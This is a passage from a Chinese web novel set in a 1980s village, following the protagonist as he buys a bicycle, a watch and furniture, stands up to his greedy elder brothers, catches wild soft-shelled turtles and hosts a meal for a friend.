江涛笑笑,“走,咱们去把自行车的事办了,再去家具厂看看桌子。” 有了这笔卖鳗鱼的巨款,江涛手里加上之前剩下的,总共是六百二十六块。 看着是不少,但用钱的地方很多。 交三粮五钱要一百二十块,自行车尾款五十块,手表和桌子也得置办,还有家里的日常开销和应急。 目前给铁牛五块,既是一份心意,也在自己能承受的范围之内。 两人来到杂货铺。 王老板一见他们,立刻迎了出来,“涛子,来得正好!车刚到没多久,我亲戚托人捎来了,快来看看!” 几人来到杂货铺后面的小院。 里面停着一辆七八成新的凤凰牌二八大杠。 黑色的车架,漆面有些细微划痕,但整体看着很扎实,没有明显的锈蚀。 车链、辐条都看得出被仔细擦拭和上过油。 “怎么样,涛子? 王老板拍拍车座,“这车我亲戚拾掇了一遍,该上油的上油,该紧的紧,除了车铃声音不太脆亮,别的没毛病。骑着绝对没问题!” 看着确实不错。 江涛围着车转了两圈。 试了试,车链没问题,只是车铃有点闷。 不过,也无伤大雅,到时换个铃铛就行了。 “行,王老板,这车我要了。” “哎,爽快!” 王老板笑得很开心。 江涛掏出五十块钱递过去,“这是剩下的车钱,五十块,您点点。” “嗯,没错!” 王老板接过钱,又从口袋里摸出个小布包。 “涛子,你不是想要块手表吗?” 小布包打开,里面露出一块银光闪闪的手表。 “我亲戚百货公司处理了一批内部商品,其中有两块上海牌全钢手表,这块有点小瑕疵,” 王老板指着表盘边缘一处细微磕痕,“运输时不小心碰了一下,不影响走时,机芯是全新的,走得可准了。原价一百二十多,处理价只要一百块。你看……” 江涛接过手表,沉甸甸的很有分量。 银色表壳,白色表盘,黑色指针和刻度,正是经典的上海牌款式。 他将手表凑到耳边听了听,走时清脆均匀。 而那点磕痕极小,不仔细看根本发现不了,完全不影响使用。 一百块买到这样一块表,简直是捡了大便宜! “王老板,这表我要了!” 江涛没有犹豫,数出十张大团结递过去。 “好,好!涛子你真有眼光!” 王老板乐得合不拢嘴。 接过钱,将手表和车钥匙一起郑重地交给江涛。 接过车钥匙和手表,江涛心里内心很是激动。 自行车,手表,这两样在八三年象征富裕和体面的大件,多少人攒几年钱都未必能置办齐。 可他短短几天内就都置办齐了! 将手表戴在左手腕上,银色表壳贴着皮肤,带来一丝微凉,也带来前所未有的踏实感。 以后每日情报提示的时间,终于能准确把握了! “我试试车!” 江涛跨上自行车,熟练地一蹬脚蹬,车子便稳稳地向前滑去。 在小院转了两圈,灵活自如。 有了它,以后去哪都方便很多! 铁牛在旁看得目瞪口呆。 江涛骑车的动作如此流畅自然,仿佛骑了很多年似的。 “涛子,你啥时候学会骑自行车的?” 江涛停下,单脚支地,“这有啥,熟能生巧罢了。别说自行车了,就是汽车,卡车我也能开走。” 铁牛听得一愣一愣,只觉得江涛深不可测。 “上来,铁牛,我们去家具厂看看桌子。” 江涛拍拍后座。 铁牛有些拘谨地坐上去,双手紧紧抓住车座下的铁架。 “王老板,我们走了。” 江涛一蹬脚蹬,自行车便载着两人,轻快地驶出了杂货铺的小院。 不过一会儿功夫,就来到乡里的家具厂。 说是厂,其实更像是个大作坊,前面是门市部,后面是木工车间。 江涛吸了吸鼻子。 空气中弥漫着一股好闻的木材和油漆味道。 这时候的家具环保,都还没被甲醛污染。 他停好车,和铁牛走进店里。 柜台后,一个五十来岁,戴着眼镜的老师傅正在看图纸,见有客人进来,便抬起了头。 “师傅,我想看看吃饭的桌子,大圆桌。”江涛开门见山。 “大圆桌啊,” 老师傅放下图纸,从柜台后绕出来,引着两人往车间走。 “这边有几张现货,你看看。有松木的,有杉木的,水曲柳的也有,就是贵点。” 几张做好的大圆桌摆在那里。 有的刷了清漆,露出木头的本色,有的刷成了暗红色。 江涛仔细看了看。 最后,看中了一张直径一米五的水曲柳圆桌。 桌面平整光滑,木纹清晰漂亮,四个腿也扎实,漆面是清漆,透出木材本身的温润光泽。 “师傅,这张水曲柳的怎么卖?” “这张啊,” 老师傅打量了一下江涛,见他不像是胡乱问价的,便报了实价。 “这张料子好,做工也细,要四十五块。配的凳子,这种实木的方凳,三块钱一个。” 四十五块加凳子钱,不便宜。 但江涛觉得值。 这桌子结实耐用,样子也大方,能用很多年。 性价比很高。 到时桌子用旧了,刷上漆又成了新的。 “行,桌子我要了。凳子来十二张吧。” 江涛算了一下,家里八个丫头,加上自己和林月柔,十张凳子足够了。 但老九迟早得接回来,到时也得有她的位置。 “十二张凳子?” 老师傅愣了一下。 十二张凳子就是三十六块,加上桌子四十五,这就是八十一块。 这年头,这绝对算是一笔不小的开支了。 “对,十二张。另外,再来几个小板凳,给孩子坐的。” 老师傅见江涛是真要买,而且数量还不小,态度更加热情了。 “没问题!桌子凳子我都给你挑最好的。 小板凳……我送你四个!你看行不? 以后家里要添什么家具,还来照顾我生意就行!” “那太谢谢您了!” 没想到还有赠品,江涛很高兴。 “你们住哪?我安排人用板车给你们送家去。”老师傅很会做生意。 “滨江村,离这儿十里地。” “滨江村啊,行,也不是特别远。你们现在带走凳子,还是等桌子一起送?” “一起送吧,我们骑自行车来的,拿不了。桌子凳子都麻烦您给送到家,我给您指路。” “成!那先交个定金,等货送到了,再结清尾款。” 说着,老师傅就去后面喊人装车。 江涛爽快地交了十块钱定金。 很快,两个学徒工推着一辆板车出来。 两人小心翼翼将圆桌和十二张方凳,以及四个小板凳搬上车,再用绳子固定好。 “师傅,您贵姓?” 江涛问老师傅,这时候有这种服务意识也是很超前。 “免贵姓李,李木匠。这家具厂就是我开的。”李师傅笑道。 “李师傅,以后有需要,我还来找您。” “好说好说!” 江涛推着自行车带和铁牛在前头带路,后面跟着拉着满满一板车家具的学徒工。 这架势引得不少路人侧目,都在猜测谁家这么有钱,能置办下这么大件家当。 第26章 建新房 到了滨江村村口。 不少村民正从地里干活回家,看见江涛推着辆自行车,后面还跟着一板车的新桌子新凳子,羡慕得眼珠子都快瞪出来。 “我的天,那是江涛?他买自行车了?” “何止自行车?你没看那桌子,凳子,都是新的!这得花多少钱啊?” “前些天他不是还穷得叮当响吗?这是真发财了?” “肯定是捞到值钱的大货了!你没听说他今天又……” 议论声嗡嗡地传进耳朵里。 江涛只当没听见,径直将人引到了自家门口。 林月柔和几个丫头听见动静跑出来。 看到崭新的大圆桌和一大堆凳子,还有江涛骑的那辆自行车。 全都惊呆了。 “这……这是……” 林月柔指着车子桌子,话都说不利索。 江涛停好车,“月柔,桌子凳子到了,快来帮忙搬进去,把地方腾出来。” 林月柔这才如梦初醒。 赶紧和铁牛一起,帮着两个学徒工将家具搬进屋里。 空荡荡的土屋,顿时被一张大气光亮的圆桌,和一圈整齐的方凳填满,立刻就显出一种家的饱满和暖意。 几个丫头兴奋地围着桌子凳子转,摸摸这里,看看那里,个个小脸都是新奇和欢喜。 “爸爸,我们有桌子啦!” 江招娣摸着光滑的桌面,脸上带着不敢置信的喜悦。 “嗯,以后咱们一家人,就能围着桌子吃饭了。” 江涛笑着,将四个小巧的原木板凳分给几个小的。 “这是给你们几个的小板凳。” “谢谢爸爸!” 几个小丫头欣喜地抱着属于自己的小板凳,老八更是乐得直蹦。 家具摆放妥当。 江涛结清剩下七十一块尾款,又额外给了两个学徒工一人五毛钱的辛苦费。 两个小伙推着空板车,高高兴兴地走了。 铁牛也告辞回家。 现在他对江涛佩服得五体投地。 老话说,浪子回头金不换。 涛子只要真心学好,挣点钱还不是手拿把掐? 到底是有祖荫人家的孩子,脑子就是活泛。 这一天经历的事情,比他过去一年都精彩震撼。 江涛也没挽留,想着过几天做一顿好的,再把铁牛和他娘一起喊来家里吃饭。 今天只顾着买自行车、手表,以及大圆桌,也没时间买肉买菜。 送走所有人,关上门,土屋里只剩下自家人。 此时,夜幕已经降临。 煤油灯下,崭新的圆桌泛着温润的光泽,十二张方凳围在四周。 四个小板凳靠墙边放着。 江涛手腕上戴着银光闪闪的手表,门口停着崭新的自行车。 林月柔看着这一切,只觉得像踩在云朵上轻飘飘的。 这个家,真的不一样了。 她欢喜地绕着新桌子看了一圈,伸手摸了摸那光滑冰凉的桌面。 可看着看着,眉头却轻轻蹙了起来,脸上欢喜劲儿也慢慢消退。 江涛见她脸色不对,“怎么了,月柔?” “这桌子是好,凳子也好,可咱家是泥地。” 林月柔叹了口气,指着桌腿,“这木头腿直接杵在地上,潮气返上来,时间长了,桌脚凳子脚都得烂。原来咱家那张八仙桌,不就是这么烂掉的吗?” 当初老爷子在的时候,江家条件算是当地数一数二的。 住的是敞亮的青砖瓦房,屋里的家具也都是用上好木料打的。 可后来老爷子被戴了帽子,家道一下子就败落了。 大伯哥、二伯哥急着撇清关系,闹着要分家。 老爷子看透了人情冷暖,不愿看大儿子二儿子的白眼,便咬牙带着最小的江涛搬了出来。 落脚在滨江村,用仅剩的一点积蓄,勉强搭了三间土房安身。 家里的好东西,也大多给了老大老二。 老爷子嘴上骂他们不孝,心里却总归是向着儿子,怕他们日子过不好。 儿子对老子凉薄,老子对儿子却还是狠不下心。 最后,老爷子和江涛就分得张旧八仙桌和几把椅子。 本来,老爷子是想苦几年,替江涛攒点家底。 谁知一场大病,人就这么去了。 林月柔嫁过来后,江涛也没能把家撑起来。 那张八仙桌,也因桌腿在泥地里受潮烂了,被他劈了当柴烧掉。 椅子也散架的散架,卖掉的卖掉,就这样家里变得家徒四壁,只剩一张吱呀作响的木板床。 靠墙的两只脚也烂了,用几块破砖头垫着。 “我去找点东西,把桌腿凳腿包一下。” 说着,林月柔就满屋子翻找起来。 江涛有些无奈,这老土屋里,哪有什么东西能包桌子腿? 不过,还真被她找出几块旧塑料布,以及一些破布条。 林月柔开心地包着桌脚凳脚,几个稍大的丫头也上前帮忙。 看着她们忙碌,江涛心里不是滋味。 好好的新桌子新凳子,被缠上这些破布烂塑料,美感全无,看着还憋屈。 “月柔,别包了,不好看。” “不好看也得包,不然烂了多可惜。” 林月柔手上动作没停,“这桌子凳子花了不少钱吧?得仔细用着。” 唉,江涛叹了口气。 知道她说得有理,但这终究是治标不治本。 “月柔,你说的对,泥地确实不行。咱这老土屋,也该拾掇拾掇了。” 林月柔动作一顿。 “拾掇?怎么拾掇?这房子都这样了……” 她环顾四周,斑驳的土墙,坑洼的泥地,漏风的窗户。 大伯哥二伯哥,早就翻建了新砖房,可他们家连修修补补都勉强。 “弄点红砖,把整个地面铺一下,防潮。” 江涛盘算着,这花不了多少钱,但能立刻改善居住条件。 如此,桌子凳子也不会那么容易受潮。 “以后,等手头再宽裕点,咱们就起新房,像大哥二哥那样,盖红砖瓦房。不,要盖得比他们更好,亮亮堂堂的,让孩子们都有自己宽敞的屋子。” “建新房?” 林月柔呆呆看着他,这么大的事她连想都不敢想。 江涛就这么轻飘飘说出来? 知道建新房要花多少钱吗? 几个稍懂事的丫头也睁大了眼睛。 “江涛,可不兴说大话。” 林月柔有些担忧,生怕江涛挣点钱就昏了头。 “大哥家盖那三间大瓦房,我听说前前后后花了好几千呢。要不是老爷子以前留下的家底,他们哪盖得起?而我们这才勉强吃上饱饭,手里才几个钱啊。” “几千啊。” 江涛心里飞快盘算了一下。 按这几日每日情报带来的收获,只要情报不断,他每天稳当进账几十上百块不成问题。 一个月下来,就是两三千。 只要他踏实肯干,加上这“外挂”,几千块钱,似乎也并非遥不可及。 “放心吧,月柔。” 江涛掏出一沓钞票,“有我在,建新房是迟早的事。这钱你拿着,一百二十用来交三粮五钱,剩下的明天就去买点红砖,咱们先把地面铺了。” “呀,爸爸,这么多钱啊?” 江招娣和几个丫头也凑了过来。 看着那一大把钞票,个个眼睛瞪得溜圆。 长这么大,她们还没见过家里有这么多钱! 林月柔手有些发抖,接过那一沓沉甸甸的钞票。 江涛又是买自行车,又是买手表,大圆桌的,她还以为钱都花光了,没想到居然还有这么多! 她飞快地数了数,竟然有三百九十四块! 天呐,这才几天江涛竟挣了多少钱? 第27章 吸血鬼 中午青菜肉丝没动,晚饭一家子就吃了擀面条。 虽没有大鱼大肉,但一家人整整齐齐围坐在崭新的大圆桌旁,这感觉就完全不一样了。 以后再也不用挤在灶台边,端着碗站着吃饭了。 林月柔自不必说,心里那份踏实,是任何山珍海味都换不来的。 看着几个丫头和丈夫都在自己身边,这盼了多少年的画面终于成了真,她眼眶不由得有些发热。 日子,是真在变好。 几个丫头对江涛更是崇拜得不得了。 在她们小小的世界里,爸爸就像无所不能的超人。 不过短短几天,家里就有了香喷喷的米饭、美味的鱼肉,现在又变出了这么漂亮的桌子。 这些,以前可是想都不敢想的。 吃完饭,收拾完毕,几个丫头都已经睡下。 这回林月柔没有急着吹灭煤油灯,而是拿出江涛给的那一沓钞票。 数出一百二十块,用塑料纸包好,藏在木板床边的墙洞里。 又拿出九十块钱,放在枕头底下。 这是明天买红砖的费用。 三间土屋大概八十来平,估摸着得用三千块砖。 九十块应该足够了。 剩下的钱,她都塞回给江涛。 “月柔,这个家你来当。” 江涛想推回去。 林月柔却坚持将钱塞到他手里,“你身上不能没钱。现在家里没什么柜子抽屉之类的,放我这儿也不安全。 你天天在外面跑,万一要急用钱,或是看到什么好东西想买,也能方便些。” 听她这么说,江涛也不再推辞,将剩下的一百八十四块钱揣进内兜。 “月柔,这次铺砖,我想请铁牛来帮忙。” “不用,我自己能行。” 林月柔下意识道,她想着能省一点是一点。 江涛解释,“主要铁牛帮我这么多次,我这心里总觉得亏欠。 报答他是一方面,也是想着给他点活干,有个由头给工钱,他拿着也安心。 他家里也难,多份进项总是好的。” 原来这样啊。 林月柔没想到江涛想得这么远。 搁以前,他可不会考虑这些。 “行,那就请铁牛兄弟来吧,他人实诚,干活也肯下力气。” “嗯,到时让铁牛娘也一起过来吃饭。” 说完,江涛吹熄了煤油灯。 屋里陷入黑暗,只有窗外微弱的月光透进来,在崭新的桌面上投下一小片朦胧的光晕。 江涛闭上眼,却没什么睡意。 也不知道明天的情报是什么。 还好买砖和铺地的事可以放心交给铁牛去办。 要不然,时间上可能会有冲突。 他摸了摸手腕上的手表,有了它,心里总算有了些把握。 不管明天情报是什么,只要时间能对上,他就一定要去。 毕竟,这是家里翻身最大的依仗。 这么想着,他渐渐沉入了梦乡。 次日,江涛醒来,抬手看了眼手表。 六点半。 也不知今天每日情报什么时候更新。 正想着,脑海中的字迹如约而至。 【每日情报:今日午时,江边老拗口芦苇荡东侧,有野生甲鱼浮出水面晒背。】 甲鱼! 江涛心头一热。 这玩意儿可比鳗鱼还金贵,正宗的滋补品,城里人抢着要。 他立刻翻身下床。 江招娣听见动静,也麻利地爬了起来。 大圆桌上,早饭已经摆好。 稠稠的白米粥,配一碟咸菜。 父女俩匆匆吃完,正准备拿家伙出门,门外突然传来一阵喧哗。 “江涛!江涛在家吗?” 江涛眉头一皱,示意林月柔和招娣别出声,自己迎了出去。 只见门口站着两个男人。 一个四十来岁,穿着半新的中山装,脸色严肃,是大哥江海。 另一个三十五六,身形略胖,穿件皱巴巴的夹克衫,三角眼透着精明,是二哥江川。 两人身后还跟着各自媳妇。 此刻,正伸着脖子往屋里打量,脸上交织着审视、不满和兴奋的神色,仿佛看到了什么肥肉。 “稀客啊。” 江涛往门口一堵,“大哥,二哥,今天怎么有空过来?” 大哥江海没接话,朝土屋扫了一圈,目光掠过崭新的自行车,又停在那张光亮的大圆桌,脸色更沉了几分。 “江涛,你太不懂事了。眼里还有没有我们这几个哥哥?” 江涛挑了挑眉,“大哥这话从何说起?” “老三,不是二哥说你,你也太自私了!” 二哥江川接腔,“老爷子留下的家底,是给我们兄弟三个的!你怎么能一声不吭自己独吞了呢?” “我独吞什么了?” 江涛气极反笑。 “你这又买车又买桌子,日子过得这么阔气,钱哪里来的?” 大嫂尖着嗓子质问。 哦,这么个事。 江涛明白过来。 上辈子这两个哥哥从不管他死活,如今见他日子刚有起色,就巴巴跑来问罪了。 “大哥,二哥,你们这话从何说起?” 江涛不紧不慢开口,“当年分家,老爷子跟我相当于被你们扫地出门,除了一张八仙桌和几张快散架的椅子,还有什么? 值钱的家当、房子、地,不都分给你们了? 当时你们可是点得清清楚楚,还让我和老爷子签了字据,说是自愿放弃,怕我们拖累你们。 怎么,现在倒成了我独吞家产了?” 大哥江海被揭了老底,脸涨成猪肝色,“谁知道老爷子有没有偷偷给你留什么好东西?他老人家最偏心你这个小儿子!” “就是!” 二嫂在一旁帮腔,“没留家底,你能这么快买上自行车,买上这么大的桌子?这得花多少钱?就靠你赌钱赢的?骗鬼呢!” 江涛冷冷扫她一眼,“二嫂,我靠什么挣钱,不用向你汇报。至于钱是怎么来的,你没权利知道!” “没大没小了!” 二哥江川恼羞成怒,“你别嘴硬!有人都告诉我们了,说你……” “有人?“ 江涛打断他,“什么人?” “你管是谁!” 二哥江川眼神闪烁,“反正就是有人说了!说你肯定是得了老爷子留下的好处! 不然哪能翻身这么快? 老三,今天必须把话说明白,老爷子到底给你留了什么? 见者有份,你不能一个人吃独食!” “对!见者有份!” 大嫂跟着嚷嚷,眼睛贪婪地直往屋里瞟。 看着这两家人的嘴脸,江涛心里最后那点血缘情分彻底凉了。 “少在这瞎逼逼!” 他摆出一副混子才有的横样,“老爷子没给我留任何东西。我能有今天,凭的是自己的本事,跟所谓的家产没有半分关系。 房子,地,家产,当年都分清楚了。 如果你们今天来,是想叙兄弟情,我欢迎。 如果是为了些莫须有的家产来胡搅蛮缠,撒泼打滚……” 他扫过四人,最后落在脸色最难看的江海脸上。 “……那就别怪我不客气!我江涛以前混账,但也不是任人拿捏的软柿子。 再无理取闹,影响我老婆孩子,我不介意去乡里,把当年分家的事,还有你们今天的话,好好说道说道。 看看到底是谁不占理!” 江海和江川同时一怔。 印象中,老三是个被惯坏的窝囊废,什么时候变得这么有气势了? 当年,分家他们确实占了大便宜,真闹到乡里,他们也落不到好。 大哥江海脸上青红交错,最终重重“哼”了一声,“行,江涛,你有种!咱们走着瞧!” 说完,带着媳妇头也不回地走了。 二哥江川见大哥走了,也失了气势,丢下一句“你等着!”便拉着自己媳妇灰溜溜地跟了上去。 看着他们远去的背影,江涛眼神冰冷。 他知道这事没完。 这两个哥哥,怕是已经惦记上他了。 也不知谁在背后嚼舌根,把这几个吸血鬼引来。 宋二? 还是别的眼红的人? 不过,他现在也不是上辈子那个任人揉捏的江涛了。 兵来将挡,水来土掩。 “爸爸,你没事吧?” 江招娣从屋里跑出来,担心地拉住他的手。 “没事。” 江涛揉了揉女儿的头发,“几只苍蝇而已,轰走就行了。走,拿上东西,咱们该出发了!” 第28章 笨甲鱼 江涛推出自行车,将打渔一应的工具绑上后座,带上江招娣,两人先去了铁牛家。 铁牛正在家里编芦苇席,听见车铃响出来。 江涛将买砖铺地的打算跟他一说。 “涛子,你放心。” 铁牛二话没说,拍着胸脯道:“买砖铺地这事交给我了。我认识砖瓦厂的人,能挑到好砖,铺地我也在行,保证给你弄得平整扎实。” “嗯,那就麻烦你了。” 江涛数出十块钱递过去,“这是定金,剩下的等砖瓦厂将砖头送过来再结清。” “用不了这么多,三五块就够了……”铁牛推辞。 “拿着,多退少补。” 江涛把钱塞他手里,“你办事我放心。” “行,我这就去办!” 铁牛将钱小心揣好,“保证今天把砖弄回来,明天就开干!” 安顿好铺砖的事,江涛便带上江招娣,骑车直奔江边。 江招娣坐在前杠上,两旁树木房屋刷刷往后退,风吹在脸上凉丝丝的,心里别提多开心了。 长这么大,她还是第一次坐自行车。 “叮铃叮铃!” 车轮轧过江堤土路,不一会儿就到了渡口。 从这往上游再走约莫两里地,便是老拗口,因江道拐了个几乎九十度的急弯而得名。 村里老人常说那儿不干净,早年淹死过好几个水性好的,都说底下有水鬼拽脚。 平常没事,谁都不愿往那边凑。 到了地方,江涛把自行车藏在江堤内侧一片茂密的芦苇丛后。 用锁链仔细锁好,这才拎上抄网和地笼,带着招娣往老拗口芦苇荡东侧摸去。 每日情报说,午时会有野生甲鱼来晒背。 江涛看了看表,现在才早上八点多,时间还早着。 他本想撒几网碰碰运气,又怕动静太大惊了甲鱼,便在芦苇荡边,挨个将五个地笼下了。 父女俩就在不远处折些干枯的芦苇杆子。 “宋二,咱们就一直在这干看着?” 远处芦苇丛里,几个闲汉和宋二偷偷扒开苇杆,窥视着江涛父女的一举一动。 早上,江海江川去江涛家闹事,就是宋二在背后怂恿撺掇的。 本以为能让江涛焦头烂额,他们好趁乱得利。 谁知道那两个当哥的,却是个银样蜡枪头,被江涛一吓唬竟灰溜溜走了。 无奈,他们便一路尾随到此,想看看江涛到底搞什么名堂。 没想到就在这折芦苇杆子,下几个破笼子。 几人看得兴趣索然,又觉得这地方阴森,心里有些发毛。 “你们盯紧了,我还有点事先走了。” 宋二盯了半天没动静,心里有些烦躁。 本指望抓到江涛什么把柄,或发现他捞大货的秘诀,眼下看来一时半会儿是没戏了。 他可不想在这荒僻地方干耗着。 葛亚慧那边还等着他去安抚,而且他总觉得这地方有点邪乎。 几个闲汉不乐意了。 “宋二,这鬼地方看着就瘆人,咱们一起回吧?” “怎么?” 宋二不满地瞪他们一眼,“之前让你们看着江涛,你们说他没捞着什么好东西,可我怎么听说他搞到了值钱的鳗鱼?让你们干点事就推三阻四,还想不想要钱了?给我好好盯着,看他到底搞什么鬼!我办完事回来,要是你们敢溜,之前的钱一分都别想要,以后的也别想了!” 几个闲汉被他一通威胁,又想到他许诺的好处,只好苦着脸答应下来。 “行,行,我们看着,你快去快回啊。” 宋二这才拍拍裤子上的灰,猫着腰溜走了。 几个闲汉等他走远,互相看了看,又看向远处不紧不慢折芦苇的江涛父女,越看越觉得没意思,身上还被蚊子咬了几个包。 “妈的,这破地方,连个鸟都不拉屎,能有什么好东西?” “就是,宋二自己拍拍屁股走了,让咱们在这儿喂蚊子。” “我看那江涛也就是瞎折腾,捞点小鱼小虾。咱们别傻等了,等会儿中午了,回去吃饭吧。宋二问起来,就说江涛折完芦苇就回去了,啥也没干。” “对,就这么说!” 几个人一合计,也懒得再盯,顺着来路溜回村里去了。 折了会芦苇杆子,江涛带着江招娣坐在江堤边休息,眼睛则不时瞟向那处浅滩。 时间来到十一点。 天高云淡,日头正好。 江涛看了看手表,起身又看向那处被阳光晒得暖融融的浅滩。 什么都没有。 唉,看来还得再等。 他正有些焦躁,忽然,江招娣轻轻拉了拉他的衣角,“爸爸,快看,那儿黑乎乎的是什么?” 难道甲鱼来了? 江涛拉着江招娣,父女俩猫着腰小心往前靠近。 只见那片浅滩边缘,几块被水磨得光滑的大石头旁,平静的水面上,缓缓浮起几个扁圆墨绿色的小岛。 接着,一个个带着细密纹路,乌青发亮的椭圆形背甲完全露出了水面,在阳光下闪着油润的光。 是甲鱼! 而且个头都不小,背甲看着比家里盛菜的大海碗还要大一圈! 它们似乎很享受这正午的阳光,将脑袋和四肢都舒展开,趴在水面或石头上,一动不动,像是在打盹。 一共有四只! 其中最大的一只,背甲颜色最深,几乎接近墨黑,趴在最靠近深水的一块大石头上。 “爸爸,好大的甲鱼!”江招娣激动得小脸通红。 “嘘,别出声,看爸爸的。” 江涛示意女儿噤声,拿起早准备好的抄网。 放轻脚步,像只捕食的猫,悄无声息地沿着水边向最近的那只甲鱼靠近。 水很浅,只到小腿肚。 那只甲鱼似乎感觉到了什么,脑袋微微动了一下。 就在它刚要缩回水里的瞬间,江涛手中抄网如闪电般探出,从侧下方猛地一舀,再迅速向上一抬! “哗啦!” 水花四溅。 抄网离开水面,大甲鱼疯狂地划动四肢,长长的脖子伸出来想要咬网绳,但最终只是徒劳地撞击着网壁。 “抓到了!”江招娣小声欢呼。 江涛将这只甲鱼倒进带来的水桶里,里面已经打了半桶清水。 甲鱼一入水,立刻缩进壳里,但很快又不安地游动起来,撞得桶壁咚咚响。 顾不上喘气,江涛立刻转向第二只。 这只甲鱼被刚才的动静惊动,正快速向深水区游去。 江涛紧追两步,抄网从后面猛地一兜,正将它兜个正着! 又是一阵剧烈挣扎,但也无济于事。 第三只甲鱼见势不妙,也转身就往深水潜。 江涛眼疾手快,用抄网杆在水下轻轻一拦,随即网口朝下一罩,便将它捞了上来。 现在,只剩下那只最大的甲鱼了。 它似乎最为警觉,此刻已经半个身子滑下了石头,正要没入水中。 江涛离它还有两三米远,来不及多想,手臂发力,将抄网像投标枪一样猛地掷了出去! “噗”的一声轻响,抄网不偏不倚,正罩在那甲鱼王身上! 江涛快步上前,抓住网杆,用力往上一提! 好家伙! 这只分量最沉,在网里挣扎的力气也最大,网杆在江涛手里剧烈颤抖,几乎握持不住。 江涛用尽力气,才将它拖离水面,小心翼翼倒进水桶。 “哈哈,四只笨甲鱼!” 江招娣看着桶里挤作一团,徒劳划水的大家伙们,乐不可支。 江涛也是长长舒了一口气,抹了把额头的汗。 还好这几只比较笨,贪恋日光,没第一时间全溜了,要不然还真不好抓。 拿到东风饭店,绝对能卖个好价钱! 第29章 请客 日头渐渐升高,江涛看看手表,快到中午十二点了。 他决定把之前下的五个地笼也收上来。 便拎着水桶,挨个去提地笼。 第一个地笼出水,沉甸甸的。 解开扎口往地上一倒,除了些小鱼小虾,竟然还有三四条巴掌大的鲫鱼,在泥地上噼啪乱跳。 “嘿,今天运气可以啊!” 江涛将鱼虾捡进桶里。 第二个地笼收获更丰富,杂鱼不少,还网到了大半斤活蹦乱跳的大河虾。 另外,还有一只不小的螃蟹,正挥舞着钳子示威。 第三、第四个地笼也各有斩获,筷子长的泥鳅、黄颡鱼都有几条,这俩烧豆腐又是一绝。 最后一个地笼沉在回水湾附近,提起来时格外坠手。 江涛心里一喜,解开扎口往地上一倒。 嚯! 鱼虾堆里,竟还藏着一条粗壮的大黄鳝,扭着身子往泥里钻。 “爸爸,今天捞了这么多呀!” 江招娣眼睛亮晶晶的。 小半桶杂鱼虾蟹,加上那条黄鳝,虽比不上甲鱼金贵,却也足够家里美美吃上几顿了。 “嗯,今天咱们有口福咯。” 江涛把地笼收拢叠好,拎起水桶,牵着女儿快步爬上江堤。 将自行车弄上来,他把工具在后座绑牢,两只水桶用绳子连好,分挂在后座两侧。 一只装着杂鱼虾蟹,另一只,是那四只甲鱼。 从江堤向滨江村望去,家家户户已飘起了炊烟。 江涛想起上午大哥二哥来闹的那一出,不想再节外生枝,便顺手扯了把水草,盖在装甲鱼的那只桶上。 蹬上车,载着江招娣,不紧不慢地往村里骑。 进村时,几个坐在门口择菜的村民见他回来,后座还挂着水桶,都探头张望。 “涛子,从江边回来啊?今儿捞着啥好东西了?” 江涛刹住车,把装杂鱼的那只桶偏过来给他们看。 “就捞了点小鱼小虾,还有条黄鳝,回去添个菜。” 村民凑过来一瞧。 嗬,还真不少。 尤其那条黄鳝,足有擀面杖粗。 “涛子运气不赖啊,这黄鳝够肥的!” “碰巧了,碰巧了。” 江涛笑着应付两句,蹬上车走了。 如此,旁人看到的只是些家常杂鱼,顶多夸一句运气好,谁也想不到,另一只桶里还藏着四个大甲鱼。 回到家,门口的空地上,已经整整齐齐码放了好几垛红砖。 铁牛蹲在旁边,一手拿着泥刀,一手端着水平尺,比划来比划去,像是在琢磨铺砖的花式。 “涛子,回来了。” “爸爸回来啦!” 听见动静,几个丫头立刻跑了出来。 林月柔也从屋里出来,“红砖的钱已经结清,尾款给了七十八块。午饭也都做好了,大米饭,青菜炒肉丝,大蒜炒鸡蛋,还有盘油炸花生。” “行,我再添几个菜,咱们今天吃顿好的。” 说着,江涛将那桶杂鱼虾放在门口,那桶甲鱼则拎到土屋,在角落处藏好。 几个丫头被活蹦乱跳的鱼虾吸引,围在一起看,叽叽喳喳新鲜得不行。 林月柔已经不惊讶了,现在江涛弄回什么都不稀奇,她心里只有踏踏实实的满足感。 “月柔,将这鱼虾收拾了,等我回来烧。” “哎,好。” 江涛骑上自行车,去了小卖部,直接买了一板豆腐。 高兴得老邹直咧嘴,结账时,见左右没人。 “涛子,小心着点,我瞧着宋二那几个,还有你那两个哥哥,好像凑到一起嘀嘀咕咕,八成没憋好屁,怕是要对你不利。” 江涛听了心里了然。 怪不得大哥二哥今天突然跑来闹腾,原来是宋二在背后撺掇搞的鬼。 “谢了,老邹,我知道了。” 回到家里,林月柔手脚麻利,已将鱼虾都收拾干净了,葱姜蒜也备在一旁。 江涛挽起袖子,亲自掌勺,江招娣坐在灶膛前烧火,林月柔在一旁打下手,递东西,收拾灶台。 不多时,诱人的香气就从灶间飘了出来。 泥鳅和黄颡鱼烧豆腐,汤汁浓郁,雪白的豆腐吸饱了咸鲜,顶上撒着星星点点的翠绿葱花。 油焖大江虾酱色透亮,每一只都紧紧蜷曲成饱满的弧度,挂着诱人的酱汁。 鳝丝炒芹菜,鳝丝鲜嫩,芹菜碧绿爽脆,混炒在一起香气扑鼻。 另外,还留着几条鲫鱼,准备晚上再跟豆腐炖个汤。 崭新的大圆桌上,六个菜满满当当摆着,色香味俱全,光是看着就让人胃口大开。 日头已经开始偏西,再不吃饭,肚子都要咕咕叫了。 江涛出去找铁牛回来吃饭,却见外面只剩码放整齐的砖,人却不见了。 这家伙该不会自己回去了吧? 江涛有些无语,气呼呼地就跑到铁牛家。 果然,铁牛正和他娘一人端着一碗稀得能照见人影的玉米粥,就着几根黑乎乎的咸菜疙瘩在吃午饭。 “铁牛,你这不是打我脸吗?” 江涛又好气又好笑,“哪有请人干活不管饭的?我家里菜都摆上桌了,就等你们。走,大娘,一起过去!” 说着,也不管铁牛和他娘如何推辞,上去就一手一个,硬是连拖带拽地往自家带。 “涛子,我们这都吃饱了。”铁牛娘还在挣扎。 “是啊,涛子,明天铺砖的时候再吃……” 铁牛也瓮声瓮气地附和。 “今天这饭必须吃,不然这地我不让你铺了!” 江涛摆出强硬姿态,铁牛和他娘这才半推半就地跟着走了。 到了江涛家,一进门,扑面而来的浓郁香气让铁牛和他娘都愣住了。 只见那崭新的大圆桌上,摆得满满当当。 泥鳅黄颡鱼烧豆腐,油焖大江虾,鳝丝炒芹菜,青菜炒肉丝,大蒜炒鸡蛋,还有一碟下酒的油炸花生。 中间是一大盆热气腾腾的白米饭。 这样的阵仗,他们家就算过年祭祖也未必能凑出来! 